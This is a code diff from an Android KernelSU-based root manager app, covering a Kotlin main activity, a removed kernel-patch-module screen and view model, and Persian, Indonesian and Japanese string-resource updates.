class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
// Enable edge to edge
enableEdgeToEdge()
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
window.isNavigationBarContrastEnforced = false
}
super.onCreate(savedInstanceState)
// 加载保存的背景设置
loadCustomBackground()
loadThemeMode()
CardConfig.load(applicationContext)
val isManager = Natives.becomeManager(ksuApp.packageName)
if (isManager) install()
setContent {
KernelSUTheme {
val navController = rememberNavController()
val snackBarHostState = remember { SnackbarHostState() }
Scaffold(
bottomBar = { BottomBar(navController) },
contentWindowInsets = WindowInsets(0, 0, 0, 0)
) { innerPadding ->
CompositionLocalProvider(
LocalSnackbarHost provides snackBarHostState,
) {
DestinationsNavHost(
modifier = Modifier.padding(innerPadding),
navGraph = NavGraphs.root,
navController = navController,
defaultTransitions = object : NavHostAnimatedDestinationStyle() {
override val enterTransition: AnimatedContentTransitionScope<NavBackStackEntry>.() -> EnterTransition
get() = { fadeIn(animationSpec = tween(340)) }
override val exitTransition: AnimatedContentTransitionScope<NavBackStackEntry>.() -> ExitTransition
get() = { fadeOut(animationSpec = tween(340)) }
}
)
}
}
}
}
}
}
@Composable
private fun BottomBar(navController: NavHostController) {
val navigator = navController.rememberDestinationsNavigator()
val isManager = Natives.becomeManager(ksuApp.packageName)
val fullFeatured = isManager && !Natives.requireNewKernel() && rootAvailable()
// 获取卡片颜色和透明度
val cardColor = MaterialTheme.colorScheme.secondaryContainer
val cardAlpha = CardConfig.cardAlpha
val cardElevation = CardConfig.cardElevation
NavigationBar(
tonalElevation = cardElevation, // 动态设置阴影
containerColor = cardColor.copy(alpha = cardAlpha), // 动态设置颜色和透明度
contentColor = if (cardColor.luminance() > 0.5) Color.Black else Color.White, // 根据背景亮度设置文字颜色
windowInsets = WindowInsets.systemBars.union(WindowInsets.displayCutout).only(
WindowInsetsSides.Horizontal + WindowInsetsSides.Bottom
)
) {
BottomBarDestination.entries.forEach { destination ->
if (!fullFeatured && destination.rootRequired) return@forEach
val isCurrentDestOnBackStack by navController.isRouteOnBackStackAsState(destination.direction)
NavigationBarItem(
selected = isCurrentDestOnBackStack,
onClick = {
if (isCurrentDestOnBackStack) {
navigator.popBackStack(destination.direction, false)
}
navigator.navigate(destination.direction) {
popUpTo(NavGraphs.root) {
saveState = true
}
launchSingleTop = true
restoreState = true
}
},
icon = {
if (isCurrentDestOnBackStack) {
Icon(destination.iconSelected, stringResource(destination.label))
} else {
Icon(destination.iconNotSelected, stringResource(destination.label))
}
},
label = { Text(stringResource(destination.label)) },
alwaysShowLabel = false,
colors = androidx.compose.material3.NavigationBarItemDefaults.colors(
unselectedTextColor = MaterialTheme.colorScheme.onSurfaceVariant
)
)
}
}
}

View File

@@ -1,297 +0,0 @@
package shirkneko.zako.sukisu.ui.screen
import android.app.Activity.RESULT_OK
import android.content.Intent
import android.util.Log
import androidx.activity.compose.rememberLauncherForActivityResult
import androidx.activity.result.contract.ActivityResultContracts
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.lazy.LazyColumn
import androidx.compose.foundation.lazy.items
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.outlined.*
import androidx.compose.material3.*
import androidx.compose.material3.pulltorefresh.PullToRefreshBox
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.platform.LocalContext
import androidx.compose.ui.res.stringResource
import androidx.compose.ui.text.style.TextAlign
import androidx.compose.ui.unit.dp
import androidx.lifecycle.viewmodel.compose.viewModel
import com.ramcosta.composedestinations.annotation.Destination
import com.ramcosta.composedestinations.annotation.RootGraph
import com.ramcosta.composedestinations.navigation.DestinationsNavigator
import kotlinx.coroutines.launch
import shirkneko.zako.sukisu.R
import shirkneko.zako.sukisu.ui.component.ConfirmResult
import shirkneko.zako.sukisu.ui.component.SearchAppBar
import shirkneko.zako.sukisu.ui.component.rememberConfirmDialog
import shirkneko.zako.sukisu.ui.component.rememberLoadingDialog
import shirkneko.zako.sukisu.ui.theme.getCardColors
import shirkneko.zako.sukisu.ui.theme.getCardElevation
import shirkneko.zako.sukisu.ui.viewmodel.KpmViewModel
import shirkneko.zako.sukisu.ui.util.loadKpmModule
import shirkneko.zako.sukisu.ui.util.unloadKpmModule
import java.io.File
@OptIn(ExperimentalMaterial3Api::class)
@Destination<RootGraph>
@Composable
fun KpmScreen(
navigator: DestinationsNavigator,
viewModel: KpmViewModel = viewModel()
) {
val context = LocalContext.current
val scope = rememberCoroutineScope()
val snackBarHost = remember { SnackbarHostState() }
val confirmDialog = rememberConfirmDialog()
val loadingDialog = rememberLoadingDialog()
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
val kpmInstall = stringResource(R.string.kpm_install)
val kpmInstallConfirm = stringResource(R.string.kpm_install_confirm)
val kpmInstallSuccess = stringResource(R.string.kpm_install_success)
val kpmInstallFailed = stringResource(R.string.kpm_install_failed)
val install = stringResource(R.string.install)
val cancel = stringResource(R.string.cancel)
val kpmUninstall = stringResource(R.string.kpm_uninstall)
val kpmUninstallConfirmTemplate = stringResource(R.string.kpm_uninstall_confirm)
val uninstall = stringResource(R.string.uninstall)
val kpmUninstallSuccess = stringResource(R.string.kpm_uninstall_success)
val kpmUninstallFailed = stringResource(R.string.kpm_uninstall_failed)
val selectPatchLauncher = rememberLauncherForActivityResult(
contract = ActivityResultContracts.StartActivityForResult()
) { result ->
if (result.resultCode != RESULT_OK) return@rememberLauncherForActivityResult
val uri = result.data?.data ?: return@rememberLauncherForActivityResult
scope.launch {
// 复制文件到临时目录
val tempFile = File(context.cacheDir, "temp_patch.kpm")
context.contentResolver.openInputStream(uri)?.use { input ->
tempFile.outputStream().use { output ->
input.copyTo(output)
}
}
val confirmResult = confirmDialog.awaitConfirm(
title = kpmInstall,
content = kpmInstallConfirm,
confirm = install,
dismiss = cancel
)
if (confirmResult == ConfirmResult.Confirmed) {
val success = loadingDialog.withLoading {
loadKpmModule(tempFile.absolutePath)
}
Log.d("KsuCli", "loadKpmModule result: $success")
if (success == "success") {
viewModel.fetchModuleList()
snackBarHost.showSnackbar(
message = kpmInstallSuccess,
duration = SnackbarDuration.Long
)
} else {
// 修正为显示安装失败的消息
snackBarHost.showSnackbar(
message = kpmInstallFailed,
duration = SnackbarDuration.Long
)
}
}
tempFile.delete()
}
}
LaunchedEffect(Unit) {
if (viewModel.moduleList.isEmpty()) {
viewModel.fetchModuleList()
}
}
Scaffold(
topBar = {
SearchAppBar(
title = { Text(stringResource(R.string.kpm_title)) },
searchText = viewModel.search,
onSearchTextChange = { viewModel.search = it },
onClearClick = { viewModel.search = "" },
scrollBehavior = scrollBehavior,
dropdownContent = {
IconButton(onClick = { viewModel.fetchModuleList() }) {
Icon(
imageVector = Icons.Outlined.Refresh,
contentDescription = stringResource(R.string.refresh)
)
}
}
)
},
floatingActionButton = {
ExtendedFloatingActionButton(
onClick = {
selectPatchLauncher.launch(
Intent(Intent.ACTION_GET_CONTENT).apply {
type = "application/*"
}
)
},
icon = {
Icon(
imageVector = Icons.Outlined.Add,
contentDescription = stringResource(R.string.kpm_install)
)
},
text = { Text(stringResource(R.string.kpm_install)) },
containerColor = MaterialTheme.colorScheme.secondaryContainer,
contentColor = MaterialTheme.colorScheme.onSecondaryContainer
)
},
snackbarHost = { SnackbarHost(snackBarHost) }
) { padding ->
PullToRefreshBox(
onRefresh = { viewModel.fetchModuleList() },
isRefreshing = viewModel.isRefreshing,
modifier = Modifier.padding(padding)
) {
if (viewModel.moduleList.isEmpty()) {
Box(
modifier = Modifier.fillMaxSize(),
contentAlignment = Alignment.Center
) {
Text(
stringResource(R.string.kpm_empty),
textAlign = TextAlign.Center
)
}
} else {
LazyColumn(
modifier = Modifier.fillMaxSize(),
contentPadding = PaddingValues(16.dp),
verticalArrangement = Arrangement.spacedBy(16.dp)
) {
items(viewModel.moduleList) { module ->
val kpmUninstallConfirm = String.format(kpmUninstallConfirmTemplate, module.name)
KpmModuleItem(
module = module,
onUninstall = {
scope.launch {
val confirmResult = confirmDialog.awaitConfirm(
title = kpmUninstall,
content = kpmUninstallConfirm,
confirm = uninstall,
dismiss = cancel
)
if (confirmResult == ConfirmResult.Confirmed) {
val success = loadingDialog.withLoading {
unloadKpmModule(module.id)
}
Log.d("KsuCli", "unloadKpmModule result: $success")
if (success == "success") {
viewModel.fetchModuleList()
snackBarHost.showSnackbar(
message = kpmUninstallSuccess,
duration = SnackbarDuration.Long
)
} else {
snackBarHost.showSnackbar(
message = kpmUninstallFailed,
duration = SnackbarDuration.Long
)
}
}
}
},
onControl = {
viewModel.loadModuleDetail(module.id)
}
)
}
}
}
}
}
}
@Composable
private fun KpmModuleItem(
module: KpmViewModel.ModuleInfo,
onUninstall: () -> Unit,
onControl: () -> Unit
) {
ElevatedCard(
colors = getCardColors(MaterialTheme.colorScheme.secondaryContainer),
elevation = CardDefaults.cardElevation(defaultElevation = getCardElevation())
) {
Column(
modifier = Modifier.padding(16.dp)
) {
Row(
modifier = Modifier.fillMaxWidth(),
horizontalArrangement = Arrangement.SpaceBetween,
verticalAlignment = Alignment.CenterVertically
) {
Column(modifier = Modifier.weight(1f)) {
Text(
text = module.name,
style = MaterialTheme.typography.titleMedium
)
Text(
text = "${stringResource(R.string.kpm_version)}: ${module.version}",
style = MaterialTheme.typography.bodyMedium
)
Text(
text = "${stringResource(R.string.kpm_author)}: ${module.author}",
style = MaterialTheme.typography.bodyMedium
)
Text(
text = "${stringResource(R.string.kpm_args)}: ${module.args}",
style = MaterialTheme.typography.bodyMedium
)
}
}
Spacer(modifier = Modifier.height(8.dp))
Text(
text = module.description,
style = MaterialTheme.typography.bodyMedium
)
Spacer(modifier = Modifier.height(16.dp))
Row(
modifier = Modifier.fillMaxWidth(),
horizontalArrangement = Arrangement.spacedBy(8.dp)
) {
FilledTonalButton(
onClick = onControl
) {
Icon(
imageVector = Icons.Outlined.Settings,
contentDescription = null
)
Text(stringResource(R.string.kpm_control))
}
FilledTonalButton(
onClick = onUninstall
) {
Icon(
imageVector = Icons.Outlined.Delete,
contentDescription = null
)
Text(stringResource(R.string.kpm_uninstall))
}
}
}
}
}

View File

@@ -1,98 +0,0 @@
package shirkneko.zako.sukisu.ui.viewmodel
import android.util.Log
import androidx.compose.runtime.getValue
import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.setValue
import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
import shirkneko.zako.sukisu.ui.util.*
class KpmViewModel : ViewModel() {
var moduleList by mutableStateOf(emptyList<ModuleInfo>())
private set
var search by mutableStateOf("")
internal set
var isRefreshing by mutableStateOf(false)
private set
var currentModuleDetail by mutableStateOf("")
private set
fun loadModuleDetail(moduleId: String) {
viewModelScope.launch {
currentModuleDetail = withContext(Dispatchers.IO) {
try {
getKpmModuleInfo(moduleId)
} catch (e: Exception) {
"无法获取模块详细信息: ${e.message}"
}
}
Log.d("KsuCli", "Module detail: $currentModuleDetail")
}
}
fun fetchModuleList() {
viewModelScope.launch {
isRefreshing = true
try {
val moduleCount = getKpmModuleCount()
Log.d("KsuCli", "Module count: $moduleCount")
val moduleInfo = listKpmModules()
Log.d("KsuCli", "Module info: $moduleInfo")
val modules = parseModuleList(moduleInfo)
moduleList = modules
} finally {
isRefreshing = false
}
}
}
private fun getInstalledKernelPatches(): List<ModuleInfo> {
return try {
val output = printKpmModules()
parseModuleList(output)
} catch (e: Exception) {
emptyList()
}
}
private fun parseModuleList(output: String): List<ModuleInfo> {
return output.split("\n").mapNotNull { line ->
if (line.isBlank()) return@mapNotNull null
val parts = line.split("|")
if (parts.size < 7) return@mapNotNull null
ModuleInfo(
id = parts[0].trim(),
name = parts[1].trim(),
version = parts[2].trim(),
author = parts[3].trim(),
description = parts[4].trim(),
args = parts[6].trim(),
enabled = true,
hasAction = controlKpmModule(parts[0].trim()).isNotBlank()
)
}
}
data class ModuleInfo(
val id: String,
val name: String,
val version: String,
val author: String,
val description: String,
val args: String,
val enabled: Boolean,
val hasAction: Boolean
)
}

View File

@@ -1,3 +1,5 @@
libzakomk.so libzakozako.so
libzakomksd.so libzakozakozako.so
libkpmmgr.so libkpmmgr.so
libzako.so
libandroidx.graphics.path.so

View File

@@ -50,7 +50,6 @@
<string name="home_click_to_learn_kernelsu">یاد بگیرید چگونه از کرنل اس یو و ماژول ها استفاده کنید</string> <string name="home_click_to_learn_kernelsu">یاد بگیرید چگونه از کرنل اس یو و ماژول ها استفاده کنید</string>
<string name="home_support_title">از ما حمایت کنید</string> <string name="home_support_title">از ما حمایت کنید</string>
<string name="home_support_content">KernelSU رایگان است و همیشه خواهد بود و منبع باز است. با این حال، می توانید با اهدای کمک مالی به ما نشان دهید که برایتان مهم است.</string> <string name="home_support_content">KernelSU رایگان است و همیشه خواهد بود و منبع باز است. با این حال، می توانید با اهدای کمک مالی به ما نشان دهید که برایتان مهم است.</string>
<string name="profile">پروفایل برنامه</string>
<string name="profile_default">پیش‌فرض</string> <string name="profile_default">پیش‌فرض</string>
<string name="profile_template">قالب</string> <string name="profile_template">قالب</string>
<string name="profile_custom">شخصی سازی شده</string> <string name="profile_custom">شخصی سازی شده</string>

View File

@@ -50,7 +50,6 @@
<string name="home_click_to_learn_kernelsu">Pelajari cara instal KernelSU dan menggunakan modul</string> <string name="home_click_to_learn_kernelsu">Pelajari cara instal KernelSU dan menggunakan modul</string>
<string name="home_support_title">Dukung Kami</string> <string name="home_support_title">Dukung Kami</string>
<string name="home_support_content">KernelSU akan selalu menjadi aplikasi gratis dan terbuka. Anda dapat memberikan donasi sebagai bentuk dukungan.</string> <string name="home_support_content">KernelSU akan selalu menjadi aplikasi gratis dan terbuka. Anda dapat memberikan donasi sebagai bentuk dukungan.</string>
<string name="profile">Profil Apl</string>
<string name="profile_default">Bawaan</string> <string name="profile_default">Bawaan</string>
<string name="profile_template">Templat</string> <string name="profile_template">Templat</string>
<string name="profile_custom">Khusus</string> <string name="profile_custom">Khusus</string>

View File

@@ -8,50 +8,56 @@
<string name="home_superuser_count">スーパーユーザー: %d</string> <string name="home_superuser_count">スーパーユーザー: %d</string>
<string name="home_module_count">モジュール: %d</string> <string name="home_module_count">モジュール: %d</string>
<string name="home_unsupported">非対応</string> <string name="home_unsupported">非対応</string>
<string name="home_unsupported_reason">現在、 KernelSU は GKI カーネルにのみ対応しています</string> <string name="home_unsupported_reason">カーネルの KernelSU ドライバが未検出です。カーネルが間違ってませんか?</string>
<string name="home_kernel">カーネル</string> <string name="home_kernel">カーネルのバージョン</string>
<string name="home_manager_version">アプリのバージョン</string> <string name="home_susfs">SuSFS: %s</string>
<string name="home_susfs_version">SuSFS のバージョン</string>
<string name="home_susfs_sus_su">SuS SU</string>
<string name="home_manager_version">マネージャーのバージョン</string>
<string name="home_fingerprint">Fingerprint</string> <string name="home_fingerprint">Fingerprint</string>
<string name="home_selinux_status">SELinux の状態</string> <string name="home_selinux_status">SELinux のステータス</string>
<string name="selinux_status_disabled">Disabled</string> <string name="selinux_status_disabled">無効</string>
<string name="selinux_status_enforcing">Enforcing</string> <string name="selinux_status_enforcing">Enforcing</string>
<string name="selinux_status_permissive">Permissive</string> <string name="selinux_status_permissive">Permissive</string>
<string name="selinux_status_unknown">不明</string> <string name="selinux_status_unknown">不明</string>
<string name="superuser">スーパーユーザー</string> <string name="superuser">スーパーユーザー</string>
<string name="module_failed_to_enable">%s モジュールをオンにできませんでした</string> <string name="module_failed_to_enable">%s モジュールを ON にできませんでした</string>
<string name="module_failed_to_disable">%s モジュールをオフにできませんでした</string> <string name="module_failed_to_disable">%s モジュールを OFF にできませんでした</string>
<string name="module_empty">モジュールがインストールされていません</string> <string name="module_empty">モジュールがインストールされていません</string>
<string name="module">モジュール</string> <string name="module">モジュール</string>
<string name="module_sort_action_first">並べ替え (アクション優先)</string>
<string name="module_sort_enabled_first">並べ替え (最初に有効)</string>
<string name="uninstall">アンインストール</string> <string name="uninstall">アンインストール</string>
<string name="restore">復元</string>
<string name="module_install">インストール</string> <string name="module_install">インストール</string>
<string name="install">インストール</string> <string name="install">インストール</string>
<string name="reboot">再起動</string> <string name="reboot">再起動</string>
<string name="settings">設定</string> <string name="settings">設定</string>
<string name="reboot_userspace">通常の再起動</string> <string name="reboot_userspace">ソフトリブート</string>
<string name="reboot_recovery">リカバリー再起動</string> <string name="reboot_recovery">リカバリー再起動</string>
<string name="reboot_bootloader">ブートローダー再起動</string> <string name="reboot_bootloader">ブートローダー再起動</string>
<string name="reboot_download">ダウンロードモード再起動</string> <string name="reboot_download">ダウンロードモード再起動</string>
<string name="reboot_edl">EDL 再起動</string> <string name="reboot_edl">EDL 再起動</string>
<string name="about">アプリについて</string> <string name="about">アプリについて</string>
<string name="module_uninstall_confirm">モジュール %s をアンインストールしますか?</string> <string name="module_uninstall_confirm">モジュール %s をアンインストールしますか?</string>
<string name="module_uninstall_success">%s はアンインストールされました</string> <string name="module_uninstall_success">%s はアンインストールされました</string>
<string name="module_uninstall_failed">%s をアンインストールできませんでした</string> <string name="module_uninstall_failed">%s をアンインストールできませんでした</string>
<string name="module_version">バージョン</string> <string name="module_version">バージョン</string>
<string name="module_author">作者</string> <string name="module_author">作者</string>
<string name="refresh">更新</string> <string name="refresh">更新</string>
<string name="show_system_apps">システムアプリを表示</string> <string name="show_system_apps">システムアプリを表示</string>
<string name="hide_system_apps">システムアプリを非表示</string> <string name="hide_system_apps">システムアプリを非表示</string>
<string name="send_log">ログを送信</string> <string name="send_log">ログを送信する</string>
<string name="safe_mode">セーフモード</string> <string name="safe_mode">セーフモード</string>
<string name="reboot_to_apply">再起動すると有効化されます</string> <string name="reboot_to_apply">再起動すると有効化されます</string>
<string name="module_magisk_conflict">モジュールが Magisk との競合により利用できません!</string> <string name="module_magisk_conflict">モジュールが Magisk との競合により利用できません</string>
<string name="home_learn_kernelsu">KernelSU について</string> <string name="home_learn_kernelsu">KernelSU について学ぶ</string>
<string name="home_learn_kernelsu_url">https://kernelsu.org/ja_JP/guide/what-is-kernelsu.html</string> <string name="home_learn_kernelsu_url">https://kernelsu.org/ja_JP/guide/what-is-kernelsu.html</string>
<string name="home_click_to_learn_kernelsu">KernelSU のインストール方法やモジュールの使い方はこちら</string> <string name="home_click_to_learn_kernelsu">KernelSU のインストール方法やモジュールの使い方を学習できます。</string>
<string name="home_support_title">支援する</string> <string name="home_support_title">支援する</string>
<string name="home_support_content">KernelSU はこれからもずっと無料でオープンソースです。寄付をして頂くことで、開発を支援していただけます。</string> <string name="home_support_content">KernelSU は今後も無料でオープンソースです。ですが、寄付をして頂けると開発者への貢献になります。</string>
<string name="profile">アプリのプロファイル</string> <string name="about_source_code"><![CDATA[ソースコードは %1$s で確認できます。<br/>%2$s チャンネルにご参加ください。]]></string>
<string name="profile_default">既定</string> <string name="profile_default">デフォルト</string>
<string name="profile_template">テンプレート</string> <string name="profile_template">テンプレート</string>
<string name="profile_custom">カスタム</string> <string name="profile_custom">カスタム</string>
<string name="profile_name">プロファイル名</string> <string name="profile_name">プロファイル名</string>
@@ -59,76 +65,205 @@
<string name="profile_namespace_inherited">継承</string> <string name="profile_namespace_inherited">継承</string>
<string name="profile_namespace_global">共通</string> <string name="profile_namespace_global">共通</string>
<string name="profile_namespace_individual">分離</string> <string name="profile_namespace_individual">分離</string>
<string name="profile_umount_modules">モジュールのアンマウント</string>
<string name="profile_groups">グループ</string> <string name="profile_groups">グループ</string>
<string name="profile_capabilities">ケーパビリティ</string>
<string name="profile_selinux_context">SELinux コンテキスト</string> <string name="profile_selinux_context">SELinux コンテキスト</string>
<string name="profile_umount_modules">モジュールのアンマウント</string>
<string name="failed_to_update_app_profile">%s のアプリのプロファイルの更新をできませでした</string> <string name="failed_to_update_app_profile">%s のアプリのプロファイルの更新をできませでした</string>
<string name="require_kernel_version" formatted="false">現在の KernelSU のバージョン %d は低すぎるため、マネージャーは正常に動作しません。バージョン %d 以上に更新してください!</string>
<string name="settings_umount_modules_default">デフォルトでモジュールのマウントを解除する</string>
<string name="settings_umount_modules_default_summary">アプリプロファイルの「モジュールのアンマウント」の共通となるデフォルト値です。 有効にすると、プロファイルセットを持たないアプリのシステムに対するすべてのモジュールの変更が削除されます。</string>
<string name="settings_susfs_toggle">Kprobe フックを非表示にする</string>
<string name="settings_susfs_toggle_summary">KSU によって生成された Kprobe フックを無効化して、代替となる組み込みの非 Kprobe を有効化します。Kprobe をサポートしない 非 GKI カーネルに適用される同等の機能を実装します。</string>
<string name="profile_umount_modules_summary">このオプションを有効にすると、KernelSU はこのアプリのモジュールによって変更されたファイルを復元できるようになります。</string>
<string name="profile_selinux_domain">ドメイン</string> <string name="profile_selinux_domain">ドメイン</string>
<string name="profile_selinux_rules">ルール</string> <string name="profile_selinux_rules">ルール</string>
<string name="new_version_available">新しいバージョン %s が利用可能です。タップしてダウンロード。</string> <string name="module_update">更新</string>
<string name="module_update">アップデート</string> <string name="module_downloading">モジュールをダウンロード中: %s</string>
<string name="module_start_downloading">ダウンロードを開始: %s</string> <string name="module_start_downloading">ダウンロードを開始: %s</string>
<string name="new_version_available">新しいバージョン %s が利用可能です。タップしてダウンロード。</string>
<string name="launch_app">起動</string> <string name="launch_app">起動</string>
<string name="force_stop_app" formatted="false">強制停止</string> <string name="force_stop_app" formatted="false">強制停止</string>
<string name="restart_app">再起動</string> <string name="restart_app">再起動</string>
<string name="failed_to_update_sepolicy">SELinux ルールの更新に失敗しました %s</string> <string name="failed_to_update_sepolicy">SELinux ルールの更新に失敗しました %s</string>
<string name="profile_capabilities">ケーパビリティ</string>
<string name="module_downloading">モジュールをダウンロード中: %s</string>
<string name="profile_umount_modules_summary">このオプションを有効にすると、KernelSU はこのアプリのモジュールによって変更されたファイルを復元できるようになります。</string>
<string name="settings_umount_modules_default">既定でモジュールのマウントを解除</string>
<string name="settings_umount_modules_default_summary">アプリプロファイルの「モジュールのアンマウント」の共通のデフォルト値です。 有効にすると、プロファイルセットを持たないアプリのシステムに対するすべてのモジュールの変更が削除されます。</string>
<string name="module_changelog">変更履歴</string> <string name="module_changelog">変更履歴</string>
<string name="app_profile_template_import_success">インポート成功</string> <string name="settings_profile_template">アプリプロファイルのテンプレート</string>
<string name="app_profile_export_to_clipboard">クリップボードからエクスポート</string> <string name="settings_profile_template_summary">アプリプロファイルのローカルおよびオンラインテンプレートを管理します</string>
<string name="app_profile_template_export_empty">エクスポートするローカル テンプレートが見つかりません!</string>
<string name="app_profile_template_id_exist">テンプレート ID はすでに存在します!</string>
<string name="app_profile_import_from_clipboard">クリップボードからインポート</string>
<string name="module_changelog_failed">変更ログの取得に失敗しました: %s</string>
<string name="app_profile_template_name">名前</string>
<string name="app_profile_template_id_invalid">無効なテンプレート ID</string>
<string name="app_profile_template_sync">オンラインテンプレートの同期</string>
<string name="app_profile_template_create">テンプレートの作成</string> <string name="app_profile_template_create">テンプレートの作成</string>
<string name="app_profile_template_readonly">読み取り専用</string>
<string name="app_profile_import_export">インポート/エクスポート</string>
<string name="app_profile_template_save_failed">テンプレートの保存に失敗しました</string>
<string name="app_profile_template_edit">テンプレートの編集</string> <string name="app_profile_template_edit">テンプレートの編集</string>
<string name="app_profile_template_id">ID</string> <string name="app_profile_template_id">ID</string>
<string name="settings_profile_template">アプリプロファイルのテンプレート</string> <string name="app_profile_template_id_invalid">無効なテンプレート ID</string>
<string name="app_profile_template_name">名前</string>
<string name="app_profile_template_description">説明</string> <string name="app_profile_template_description">説明</string>
<string name="app_profile_template_save">保存</string> <string name="app_profile_template_save">保存</string>
<string name="settings_profile_template_summary">アプリプロファイルのローカルおよびオンラインテンプレートを管理する</string>
<string name="app_profile_template_delete">消去</string> <string name="app_profile_template_delete">消去</string>
<string name="app_profile_template_import_empty">クリップボードが空です!</string>
<string name="app_profile_template_view">テンプレートを表示</string> <string name="app_profile_template_view">テンプレートを表示</string>
<string name="settings_check_update">アップデートを確認</string> <string name="app_profile_template_readonly">読み取り専用</string>
<string name="settings_check_update_summary">アプリを開いたときにアップデートを自動的に確認する</string> <string name="app_profile_template_id_exist">テンプレート ID はすでに存在します!</string>
<string name="app_profile_import_export">インポートとエクスポート</string>
<string name="app_profile_import_from_clipboard">クリップボードからインポート</string>
<string name="app_profile_export_to_clipboard">クリップボードからエクスポート</string>
<string name="app_profile_template_export_empty">エクスポートするローカル テンプレートが見つかりません!</string>
<string name="app_profile_template_import_success">インポートが成功しました</string>
<string name="app_profile_template_sync">オンラインテンプレートの同期</string>
<string name="app_profile_template_save_failed">テンプレートの保存に失敗しました</string>
<string name="app_profile_template_import_empty">クリップボードが空です!</string>
<string name="module_changelog_failed">変更ログの取得に失敗しました: %s</string>
<string name="settings_check_update">更新を確認する</string>
<string name="settings_check_update_summary">アプリを開いたときに更新を自動的に確認します</string>
<string name="grant_root_failed">root の付与に失敗しました!</string> <string name="grant_root_failed">root の付与に失敗しました!</string>
<string name="action">アクション</string>
<string name="open">開く</string> <string name="open">開く</string>
<string name="enable_web_debugging">WebView デバッグを有効する</string> <string name="enable_web_debugging">WebView デバッグを有効する</string>
<string name="enable_web_debugging_summary">WebUI のデバッグに使用できます。必要な場合のみ有効してください</string> <string name="enable_web_debugging_summary">WebUI のデバッグに使用できます。必要な場合のみ有効してください</string>
<string name="select_file_tip">%1$s パーティション イメージが推奨されます</string> <string name="direct_install">直接インストール (推奨)</string>
<string name="select_kmi">KMI を選択してください</string> <string name="select_file">ファイルを選択</string>
<string name="install_next">次に</string>
<string name="install_inactive_slot">非アクティブなスロットにインストール (OTA 後)</string> <string name="install_inactive_slot">非アクティブなスロットにインストール (OTA 後)</string>
<string name="install_inactive_slot_warning">再起動後、デバイスは**強制的に**、現在非アクティブなスロットから起動します。 <string name="install_inactive_slot_warning">再起動後、デバイスは**強制的に**、現在非アクティブなスロットから起動します。
\nこのオプションは、OTA が完了した後にのみ使用してください。 \nこのオプションは、OTA が完了した後にのみ使用してください。
\n続</string> \n続行しますか</string>
<string name="direct_install">直接インストール (推奨)</string> <string name="install_next">次へ</string>
<string name="select_file">ファイルを選択してください</string> <string name="select_file_tip">%1$s のパーティションイメージを推奨します</string>
<string name="select_kmi">KMI を選択してください</string>
<string name="settings_uninstall">アンインストール</string>
<string name="settings_uninstall_temporary">一時的にアンインストールする</string>
<string name="settings_uninstall_permanent">完全にアンインストールする</string> <string name="settings_uninstall_permanent">完全にアンインストールする</string>
<string name="settings_restore_stock_image">ストックイメージを復元</string> <string name="settings_restore_stock_image">ストックイメージを復元</string>
<string name="settings_uninstall_temporary">一時的にアンインストールする</string>
<string name="settings_uninstall">アンインストール</string>
<string name="settings_uninstall_temporary_message">KernelSU を一時的にアンインストールし、次回の再起動後に元の状態に戻します。</string> <string name="settings_uninstall_temporary_message">KernelSU を一時的にアンインストールし、次回の再起動後に元の状態に戻します。</string>
<string name="settings_uninstall_permanent_message">KernelSU (ルートおよびすべてのモジュール) を完全かつ永久にアンインストールします。</string> <string name="settings_uninstall_permanent_message">KernelSU (root およびすべてのモジュール) を完全かつ恒久的にアンインストールします。</string>
<string name="settings_restore_stock_image_message">バックアップが存在する場合、工場出荷時のイメージを復元できます (OTA の前に使用してください)。KernelSU をアンインストールする必要がある場合は、「完全にアンインストールする」を使用してください。</string> <string name="settings_restore_stock_image_message">バックアップが存在する場合、工場出荷時のイメージを復元できます (OTA の前に使用してください)。KernelSU をアンインストールする必要がある場合は、「完全にアンインストールする」を使用してください。</string>
<string name="flashing">フラッシュ</string> <string name="flashing">フラッシュ</string>
<string name="flash_success">フラッシュ成功</string> <string name="flash_success">フラッシュ成功しました</string>
<string name="flash_failed">フラッシュ失敗</string> <string name="flash_failed">フラッシュ失敗しました</string>
<string name="selected_lkm">選択された LKM: %s</string> <string name="selected_lkm">選択された LKM: %s</string>
<string name="save_log">ログを保存</string> <string name="save_log">ログを保存</string>
<string name="action">アクション</string>
<string name="log_saved">保存されたログ</string> <string name="log_saved">保存されたログ</string>
<string name="module_sort_enabled_first">並べ替え(最初に有効)</string> <string name="status_supported">対応</string>
<string name="module_sort_action_first">並べ替え(アクション優先)</string> <string name="status_not_supported">非対応</string>
<string name="status_unknown">不明</string>
<string name="sus_su_mode">SuS SU モード:</string>
<!-- Module related -->
<string name="module_install_confirm">%1$s のモジュールをインストールしますか?</string>
<string name="unknown_module">不明なモジュール</string>
<!-- Restore related -->
<string name="restore_confirm_title">モジュールの復元を確認</string>
<string name="restore_confirm_message">この操作によりモジュールが上書きされます。続行しますか?</string>
<string name="confirm">確認</string>
<string name="cancel">キャンセル</string>
<!-- Backup related -->
<string name="backup_success">バックアップが完了しました (tar.gz)</string>
<string name="backup_failed">バックアップに失敗: %1$s</string>
<string name="backup_modules">モジュールをバックアップ</string>
<string name="restore_modules">モジュールを復元</string>
<!-- Restore related messages -->
<string name="restore_success">モジュールは正常に復元されました、再起動が必要です</string>
<string name="restore_failed">復元に失敗: %1$s</string>
<string name="restart_now">今すぐ再起動</string>
<string name="unknown_error">不明なエラー</string>
<!-- Command related -->
<string name="command_execution_failed">コマンドの実行に失敗しました: %1$s</string>
<!-- Allowlist related -->
<string name="allowlist_backup_success">許可リストのバックアップが成功しました</string>
<string name="allowlist_backup_failed">許可リストのバックアップに失敗: %1$s</string>
<string name="allowlist_restore_confirm_title">許可リストの復元を確認</string>
<string name="allowlist_restore_confirm_message">この操作により許可リストが上書きされます。続行しますか?</string>
<string name="allowlist_restore_success">許可リストの復元が成功しました</string>
<string name="allowlist_restore_failed">許可リストの復元に失敗: %1$s</string>
<string name="backup_allowlist">許可リストをバックアップ</string>
<string name="restore_allowlist">許可リストを復元</string>
